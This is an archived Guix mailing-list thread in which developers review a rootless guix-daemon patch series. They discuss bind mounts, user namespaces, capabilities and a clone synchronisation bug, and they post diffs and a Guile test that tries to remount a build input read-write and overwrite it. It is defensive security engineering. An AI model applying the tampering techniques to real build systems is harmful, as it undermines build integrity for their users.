>> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/=
bin/hello
>> GOOOOOD BYYEEEEEE
>
> This particular issue is fixed with read-only mounts:
>
> diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
> index c95bd2821f..e8e4a56e2d 100644
> --- a/nix/libstore/build.cc
> +++ b/nix/libstore/build.cc
> @@ -2175,7 +2175,7 @@ void DerivationGoal::runChild()
>                      createDirs(dirOf(target));
>                      writeFile(target, "");
>                  }
> -                if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0=
) =3D=3D -1)
> +                if (mount(source.c_str(), target.c_str(), "", MS_BIND | =
MS_RDONLY, 0) =3D=3D -1)
>                      throw SysError(format("bind mount from `%1%' to `%2%=
' failed") % source % target);
>              }
>=20=20
>
>
> (I checked that it does the right thing.)
>
> The fix is trivial, but I=E2=80=99m glad you found the bug in the first p=
lace;
> it does stress that we have to be careful here.

Not quite trivial, consider this section from mount(2):

    Creating a bind mount
       If mountflags includes MS_BIND (available since Linux 2.4),  then  p=
er=E2=80=90
       form  a  bind  mount.  A bind mount makes a file or a directory subt=
ree
       visible at another point within the single directory  hierarchy.   B=
ind
       mounts may cross filesystem boundaries and span chroot(2) jails.

       The filesystemtype and data arguments are ignored.

       The  remaining  bits (other than MS_REC, described below) in the mou=
nt=E2=80=90
       flags argument are also ignored.  (The bind mount has  the  same  mo=
unt
       options  as  the underlying mount.)  However, see the discussion of =
re=E2=80=90
       mounting above, for a method of making an  existing  bind  mount  re=
ad-
       only.

If you run my sneakysneaky example from before, you'll find that it
still succeeds at replacing the "hello" binary because of this, even
with your MS_RDONLY patch.  This can be resolved by instead using
MS_RDONLY with a followup mount call using MS_REMOUNT.

Note also that store items that are files instead of directories (e.g. sour=
ce
tarballs) are hardlinked if possible.  This seems to stem from an old
misconception that only directories can be bind-mounted.  The hardlinks,
of course, do not have any write-protection on them aside from their
permission bits.

This can be resolved by always bind-mounting them instead.  Despite the
name, there is actually already support for bind-mounting non-directory
files that are listed in dirsInChroot.

>> I suppose we could try to perform these bind-mounts with the MS_RDONLY
>> flag, but we would need some way to ensure that the builder can't just
>> remount them read-write
>
> The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM wh=
en using the
> unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99=
):
>
> (use-modules (guix)
>              (guix modules)
>              (gnu packages bootstrap))
>
> (computed-file "try-to-remount-input-read-write"
>                (with-imported-modules (source-module-closure
>                                        '((guix build syscalls)))
>                  #~(begin
>                      (use-modules (guix build syscalls))
>
>                      (let ((input #$(plain-file "input-that-might-be-tamp=
ered-with"
>                                                 "All good!")))
>                        (mount "none" input "none" (logior MS_BIND MS_REMO=
UNT))
>                        (call-with-output-file input
>                          (lambda (port)
>                            (display "BAD!" port)))
>                        (mkdir #$output))))
>                #:guile %bootstrap-guile)
>
>
> This is similar to:
>
>   guix shell -C guile guix -- \
>     guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "=
GUIX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))'
>
> mount(2) has this:
>
>    EPERM  An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO=
=E2=80=90
>           SUID, or MS_NOEXEC flag, or one of the "atime"  flags  (MS_NOAT=
=E2=80=90
>           IME,  MS_NODIRATIME,  MS_RELATIME) of an existing mount, but the
>           mount is locked; see mount_namespaces(7).
>
> I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to =
whether
> this applies in this case (same namespace but after chroot); I can only
> tell empirically that it does apply.

I don't think that's why we're getting EPERM.  I think we're running
into this, from user_namespaces(7):

   Note that a call to execve(2) will cause a process's capabilities to
   be recalculated in the usual way (see capabilities(7)).
   Consequently, unless the process has a user ID of 0 within the
   namespace, or the executable file has a nonempty inheritable
   capabilities mask, the process will lose all capabilities.  See the
   discussion of user and group ID mappings, below.

As the builder is in the store, it can't have any associated capability
masks, and your added call to prctl to drop ambient capabilities,
together with the fact that the mapped UID inside the container is
nonzero, should make it so that it therefore wouldn't be able to inherit
any.

On a tangentially-related note, the ambient capability set didn't come
into being until Linux 4.3 (around 2016), which is a fair bit newer than
unprivileged user namespaces.  Take that for what you will.

Now, according to capabilities(7):

    Per-user-namespace "set-user-ID-root" programs
       A  set-user-ID  program  whose  UID matches the UID that created a u=
ser
       namespace will confer capabilities in the process's permitted  and  =
ef=E2=80=90
       fective  sets when executed by any process inside that namespace or =
any
       descendant user namespace.

       The rules about the transformation of the process's capabilities dur=
ing
       the  execve(2)  are exactly as described in Transformation of capabi=
li=E2=80=90
       ties during execve() and Capabilities and execution of programs by r=
oot
       above,  with  the  difference that, in the latter subsection, "root"=
 is
       the UID of the creator of the user namespace.

This would seem to suggest that the capabilities within the user
namespace could be regained by creating a setuid binary and executing
it, but experimentally this doesn't happen, and I am unsure whether this
is a bug in the documentation, kernel, or my reading comprehension.  At
any rate, I am less than confident in relying on this behavior.

I think it would be a good idea to, in the no-build-user case, add an
extra call to unshare right at the point where the user and group would
be changed in the build-user case.  This extra call would create a fresh
user and mount namespace, ensuring that the mount-locking behavior you
referenced applies.  My understanding is that the setuid behavior
documented above only grants capabilities, it doesn't change the user
namespace that the process is in, so it should be impossible for the
builder to gain capabilities inside the user namespace owning the
bind-mounted store items, even if it somehow gained full capabilities
within this fresh user namespace.


> -	pid =3D clone(childEntry,
> + 	pid =3D clone(childEntry,
>  		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
>  		    flags, this);
> -	if (pid =3D=3D -1)
> -	    throw SysError("cloning builder process");
> +	if (pid =3D=3D -1) {
> +	    if ((flags & CLONE_NEWUSER) !=3D 0 && getuid() !=3D 0)
> +		/* 'clone' fails with EPERM on distros where unprivileged user
> +		   namespaces are disabled.  Error out instead of giving up on
> +		   isolation.  */
> +		throw SysError("cannot create process in unprivileged user namespace");
> +	    else
> +		throw SysError("cloning builder process");
> +	}
> +
> +	if ((flags & CLONE_NEWUSER) !=3D 0) {
> +	    /* Initialize the UID/GID mapping of the guest.  */
> +	    if (pid =3D=3D 0) {
> +		char str[20] =3D { '\0' };
> +		readFull(readiness.readSide, (unsigned char*)str, 3);
> +		if (strcmp(str, "go\n") !=3D 0)
> +		    throw Error("failed to initialize process in unprivileged user nam=
espace");
> +	    } else {
> +		initializeUserNamespace(pid);
> +		writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
> +	    }

This doesn't actually do any synchronizing with the child process,
because clone never returns 0.  It's not like fork where it returns
twice with a different return value each time, control in the new thread
instead goes straight to childEntry.  The parent doesn't get stuck and
hang when writing because PIPE_BUF > 3.

>> This does raise the question, though, of how these failed build
>> directories would get deleted, aside from rebooting the system.
>
> Note that in the early days (and in current Nix actually), build trees
> were not chowned.  That=E2=80=99s OK: they=E2=80=99re deleted upon reboot=
 or by the
> system administrator.
>
> Current Nix has this:
>
> void DerivationGoal::deleteTmpDir(bool force)
> {
>     if (tmpDir !=3D "") {
>         /* Don't keep temporary directories for builtins because they
>            might have privileged stuff (like a copy of netrc). */
>         if (settings.keepFailed && !force && !drv->isBuiltin()) {
>             printError("note: keeping build directory '%s'", tmpDir);
>             chmod(tmpDir.c_str(), 0755);
>         }
>         else
>             deletePath(tmpDir);
>         tmpDir =3D "";
>     }
> }
>
> We could go back to this.  It=E2=80=99s less convenient, but okay.
>
> In this patch series, it attempts to chown the tree; if it fails to do
> so (because it lacks CAP_CHOWN), it prints a warning and keeps going.

My concern comes from knowing that I've at times gone through 100
sequential failed builds while trying to package something tricky, and I
tend to keep my disk on the low end of free space to minimize how often
I need to rebuild stuff.  That and the one time I tried tinkering with
ungoogled-chromium.  I know I'd probably cause a lot of trouble if I
tried doing that stuff on a shared system I didn't have administrative
access to.

A best-effort chown attempt should do fine for now, though.

>> We currently remount /gnu/store read-write at LocalStore-creation-time,
>> which happens in the newly-forked guix-daemon process at the start of a
>> connection.  I don't think there's any particularly elevated risk from
>> instead doing that before the per-connection process is forked.  There
>> are a number of ways we could do this: we could make it the
>> responsibility of the init system to create the mount namespace and do
>> the remounting, or we could have guix-daemon do it immediately on
>> startup and subsequently switch its uid and gid to
>> guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
>> have to give it root, and you can prove it just by looking at the
>> service file", but realistically should be just as secure.  It may be
>> useful to provide a small wrapper around guix-daemon that does the
>> remount and privilege-dropping, to more succinctly express this to
>> anybody wishing to see for themselves.
>
> I think I=E2=80=99d prefer to have a systemd (or other) service make a
> read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run
> =E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99.
>
> WDYT?

So if I understand correctly, we would have /gnu/store hold all of its
usual contents in the usual manner, and a service would bind-mount
/gnu/store to /gnu/store/.rw-store without MS_RDONLY, and then it (or
another service that depends on it) would bind-mount /gnu/store to
itself with MS_RDONLY, and then guix-daemon would, in its own mount
namespace, bind-mount /gnu/store/.rw-store to /gnu/store, again without
MS_RDONLY.

I assume that making /gnu/store read-only wouldn't make the
already-bind-mounted /gnu/store/.rw-store read-only too?  If it does,
it's not going to work, and if it doesn't, it's going to remain writable
for footgun appreciators.  But I suppose it's at least a little more
out-of-the-way.

I think it might be simpler to integrate the change if we instead made
it /gnu/.rw-store or something like that, since that way we don't have
to worry about updating the garbage collector and such to treat it
specially.

Actually, now that I think about it, another possibility would be having
a service that the read-only store-mount service depends on that first
creates a persistent user+mount namespace combo which saves a view of
the writable store (I don't recall exactly how creating the persistent
namespace works, but I know the 'ip netns ...' commands can do something
similar to create named network namespaces).  The process that creates
this namespace would run as the guix-daemon user, and therefore when
guix-daemon starts it would have full capabilities within that user
namespace, and could setns straight into it.  This would leave no
writable store in the root mount namespace.

>> Personally, I think that if a guix-daemon can use privilege separation
>> users, it would probably be a good idea to.  We're certainly going to
>> need to support them on non-linux systems either way.  Could it be
>> possible to have guix-install.sh modify /etc/sudoers on systems that use
>> it to allow the guix-daemon user to run processes under guix builder
>> users?  I am currently less worried about arbitrary code execution
>> vulnerabilities being found in the daemon than about the possibility of
>> malicious builders (but it is possible I am underexposed to the ways
>> those can happen in C++).
>
> What would you put in /etc/sudoers?  I=E2=80=99m not sure what you had in
> mind.

I'm not sure what I had in mind either, I've only seen some opine that
it's usually better to configure sudo than to write your own setuid
programs, which was the first thing that came to mind for how to use
dedicated build users without needing the entire daemon running as root.
I recall reading somewhere that it could be configured to allow certain
users to run certain commands as certain other users?  So maybe it could
be configured to allow the guix-daemon user to run any command as any of
the guixbuilder users.  Although granted, the way that container setup
is currently done wouldn't work very well with that, since by the time
we're ready to execute the builder we're already fully in the container,
where setuid-root binaries should probably not be.

I know that "how to use dedicated build users without root" probably
isn't what you were asking for feedback on, but it did show up in my
thoughts quite a bit.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeZ3gYXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJzAkQf/VZjUTwuxVy5Aid8p4p+ovhT0
0tkp7zheyG8TojG/YSgBhjF4YXfA5vAymdMjCMFCmt6J3gIlOgGjgbDyVylvzFxG
KnE5nYXnujP2XKJ61pbWKVrAP2Lqdz7gGq+EKu9dCsHBDkPQkWo0idoSW6oIdXSF
EISvUGtZ5wrzm6uAl5D0YINqw/aAEbharanfZYin2eRIy7hH5k598Wca7hgBC9e0
fDy+dBn7vME3bUzitXHpvdZVsgHOSDpKogacsIJRbsAqEVPYXNU/tN5xTjomb5dM
ycF4epwPKqDcy+/rWX3N3vP266E5vxUL3SvQ0ujYlafrC+OiEICySu4BLTPoSA==
=6lw/
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 22:06:28 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Jan 27 17:06:28 2025
Received: from localhost ([127.0.0.1]:34734 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcXFU-0005tH-7X
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:28 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:49858)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcXFO-0005sv-T5
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:26 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tcXFG-0000y9-G2; Mon, 27 Jan 2025 17:06:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=FZsZtn8hQb4MqBPsBayyvYeriMYuiItagcbZynF5vWE=; b=eL85oeL6tksyFAc/pETY
 ijrRKvEQ1HikFxb6M+UVdJAl+rbw6C77c6WGBFrgZ4RTd1nB7EE9cSmV4frYYVRYquvx8E0hbUtmg
 R1Zowr0k+AnlzSoUwYQNYOPkNljpv8FIqd1f8vYreROOpxUA/3BFv5c6wBedrQKN2DZb3wHau/Ut7
 XInkboSJIk4DLL86ziS2emVZQD3CAJjLBdZgwooDQuVmqYqxWgcLWROkr/9c4LXAlkcMwjtTzjgR3
 rKNysWRhEQ62Cjy3Hg4R9TdguIH3NgQlz85y67YwY2vat+/6Otw8cyWbsHlrUZeeQ9AQGiYzOjJHE
 ERfse9CkCPcX6A==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: =?utf-8?Q?No=C3=A9?= Lopez <noe@HIDDEN>
Subject: Re: [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87ed0ox6wj.fsf@HIDDEN> (=?utf-8?Q?=22No=C3=A9?=
 Lopez"'s message of "Mon, 27 Jan 2025 22:51:08 +0100")
References: <87ed0ox6wj.fsf@HIDDEN>
X-URL: http://www.fdn.fr/~lcourtes/
X-Revolutionary-Date: Octidi 8 =?utf-8?Q?Pluvi=C3=B4se?= an 233 de la
 =?utf-8?Q?R=C3=A9volution=2C?= jour du
 =?utf-8?B?TcOpesOpcsOpb24=?=
X-PGP-Key-ID: 0x090B11993D9AEBB5
X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc
X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5
X-OS: x86_64-pc-linux-gnu
Date: Mon, 27 Jan 2025 23:05:21 +0100
Message-ID: <87r04nhpzy.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: Reepca Russelstein <reepca@HIDDEN>, 75810 <at> debbugs.gnu.org,
 Janneke Nieuwenhuizen <janneke@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hi,

No=C3=A9 Lopez <noe@no=C3=A9.eu> skribis:

> If the store is not read-only, is there not a risk of applications
> running as root modifying their own files in the store?

Yes, there=E2=80=99s a risk.

> As a possible solution, maybe it is possible to have a modifiable store
> directory for the daemon and a read-only bind mount as /gnu/store.  If
> it does not have performance implications, applications would be started
> from /gnu/store as usual and the builder can still use the other
> directory.

I agree, that=E2=80=99s what I alluded to with having /gnu/.rw-store as the
backing store used by guix-daemon, while /gnu/store would be read-only.

Thanks,
Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:51:30 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Jan 27 16:51:30 2025
Received: from localhost ([127.0.0.1]:34677 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcX10-00059v-Fv
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:30 -0500
Received: from smtp.domeneshop.no ([2a01:5b40:0:3006::1]:48092)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <noe@HIDDEN>) id 1tcX0x-00059h-TM
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:28 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=xn--no-cja.eu; s=ds202402; h=Content-Transfer-Encoding:Content-Type:
 MIME-Version:Message-ID:Date:In-Reply-To:Subject:Cc:To:From:From:Sender:
 Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
 References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:
 List-Owner:List-Archive; bh=GgPEyd3fk1s6cfcwQ3m466y4tXWO39lJaumX+dc0l6A=; b=e
 BbTqvC8t+hNcMIibYGo3qvDzVtYWItsEafHZu1q8nT5iZ4BQG4YI8W3zzY+gjkI5QiUKCTkuLEKl6
 bVjPp2eWdlfzRNFkwKfiuZZWbaoZG5L3VHX69vtm9Vtwlebs9OcMtenXGfC6IB67GGPzglFF3gYrw
 mbdJjH2fdTeJAip6XbRXvgg0CZr0XYZdUpDE4MRDsJOFOZdFBWr6zT7rIqtz2dIhXOdoNdOaoxQQT
 PFkYQSZFeX2F6Nme/E19PcR9RDQXR+MjgKXg9GwZKMrnj2CIEEkUzM299vJCf5b3dLKEAm8iESFAI
 YfvrPixHRE+uo7YtJQeWY/oXQmKFJEGvQ==;
Received: from smtp by smtp.domeneshop.no with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.95)
 id 1tcX0q-003nln-U6; Mon, 27 Jan 2025 22:51:21 +0100
From: =?utf-8?Q?No=C3=A9_Lopez?= <noe@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: Re: [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87bjvshrk0.fsf@HIDDEN>
Date: Mon, 27 Jan 2025 22:51:08 +0100
Message-ID: <87ed0ox6wj.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>,
 Janneke Nieuwenhuizen <janneke@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi Ludovic,

If the store is not read-only, is there not a risk of applications
running as root modifying their own files in the store?

As a possible solution, maybe it is possible to have a modifiable store
directory for the daemon and a read-only bind mount as /gnu/store.  If
it does not have performance implications, applications would be started
from /gnu/store as usual and the builder can still use the other
directory.

What do you think?
No=C3=A9




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:32:04 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Jan 27 16:32:04 2025
Received: from localhost ([127.0.0.1]:34655 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcWiB-0004Ie-Lk
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:04 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:40310)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcWi7-0004I4-BZ
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:02 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tcWi0-0003ut-Nv; Mon, 27 Jan 2025 16:31:52 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=YDM+EJL5NRiIdzlKPrzEycEEJGbMu9+2u59HSqzLKLs=; b=EJ/eIRR6f+aXGcbQUCDO
 d6BOIyX+v9RlccedEoZGj2GsYTLLxi9w4MjJ+YgPxDzQ4ETvQicWWcZMIKAdkGVTr3JASJyGJ24pV
 VnUP2+AZ5mWSHB8yQnMe0KY4VAvaMtsmN+GOKb7Pms3dgZlf7K5Zk6UANPrisX1pFKTiKH0DIbJK8
 SGMlqn1HB0eBBrVpI2fDPRE5BzkI7P4OpoC8+6lPWdcHyeZLcO4Rr1ZqyStOKkjb6meBEm1rRjXye
 /g+V++5dXIdymTm9HE8Ab8DNVHvMluvEyOLrbJ3l3CtdFTNwYcM0nV6o5tbfVK8mSbry5SyLGkHyZ
 8JN8uLXVJBB+Yw==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87r04qe7dj.fsf@HIDDEN> (Reepca Russelstein's message of
 "Sat, 25 Jan 2025 18:39:04 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN>
Date: Mon, 27 Jan 2025 22:31:43 +0100
Message-ID: <87bjvshrk0.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Spam-Score: -1.8 (-)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.8 (--)

--=-=-=
Content-Type: text/plain

Hello Reepca,

Reepca Russelstein <reepca@HIDDEN> skribis:

> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello
> GOOOOOD BYYEEEEEE

This particular issue is fixed with read-only mounts:


--=-=-=
Content-Type: text/x-patch
Content-Disposition: inline

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c95bd2821f..e8e4a56e2d 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2175,7 +2175,7 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
-                if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
+                if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_RDONLY, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
             }
 

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


(I checked that it does the right thing.)

The fix is trivial, but I=E2=80=99m glad you found the bug in the first pla=
ce;
it does stress that we have to be careful here.

> I suppose we could try to perform these bind-mounts with the MS_RDONLY
> flag, but we would need some way to ensure that the builder can't just
> remount them read-write

The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM when=
 using the
unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99):

--8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (guix modules)
             (gnu packages bootstrap))

(computed-file "try-to-remount-input-read-write"
               (with-imported-modules (source-module-closure
                                       '((guix build syscalls)))
                 #~(begin
                     (use-modules (guix build syscalls))

                     (let ((input #$(plain-file "input-that-might-be-tamper=
ed-with"
                                                "All good!")))
                       (mount "none" input "none" (logior MS_BIND MS_REMOUN=
T))
                       (call-with-output-file input
                         (lambda (port)
                           (display "BAD!" port)))
                       (mkdir #$output))))
               #:guile %bootstrap-guile)
--8<---------------cut here---------------end--------------->8---

This is similar to:

  guix shell -C guile guix -- \
    guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "GU=
IX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))'

mount(2) has this:

   EPERM  An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO=
=E2=80=90
          SUID, or MS_NOEXEC flag, or one of the "atime"  flags  (MS_NOAT=
=E2=80=90
          IME,  MS_NODIRATIME,  MS_RELATIME) of an existing mount, but the
          mount is locked; see mount_namespaces(7).

I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to wh=
ether
this applies in this case (same namespace but after chroot); I can only
tell empirically that it does apply.

>> This patch changes guix-daemon so it can run as an unprivileged
>> user, using unprivileged user namespaces to still support isolated
>> builds.  There=E2=80=99s a couple of cases where root is/was still neces=
sary:
>>=20
>>   1. To create /var/guix/profiles/per-user/$USER and chown it
>>      as $USER (see CVE-2019-18192).
>>=20
>>   2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80=
=99.
>>=20
>> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
>> what this patch series does on distros using systemd.  (For some
>> reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabili=
ties=E2=80=9D,
>> which are inherited by child processes; this is why there=E2=80=99s a pa=
tch
>> to drop ambient capabilities in build processes.)
>>=20
>> On Guix System (not implemented here), we could address (1) by
>> creating /var/guix/profiles/per-user/$USER upfront for all the
>> user accounts.  We could leave (2) unaddressed (so failed build
>> directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d
>> have to pass CAP_CHOWN as well.

[...]

> This does raise the question, though, of how these failed build
> directories would get deleted, aside from rebooting the system.

Note that in the early days (and in current Nix actually), build trees
were not chowned.  That=E2=80=99s OK: they=E2=80=99re deleted upon reboot o=
r by the
system administrator.

Current Nix has this:

--8<---------------cut here---------------start------------->8---
void DerivationGoal::deleteTmpDir(bool force)
{
    if (tmpDir !=3D "") {
        /* Don't keep temporary directories for builtins because they
           might have privileged stuff (like a copy of netrc). */
        if (settings.keepFailed && !force && !drv->isBuiltin()) {
            printError("note: keeping build directory '%s'", tmpDir);
            chmod(tmpDir.c_str(), 0755);
        }
        else
            deletePath(tmpDir);
        tmpDir =3D "";
    }
}
--8<---------------cut here---------------end--------------->8---

We could go back to this.  It=E2=80=99s less convenient, but okay.

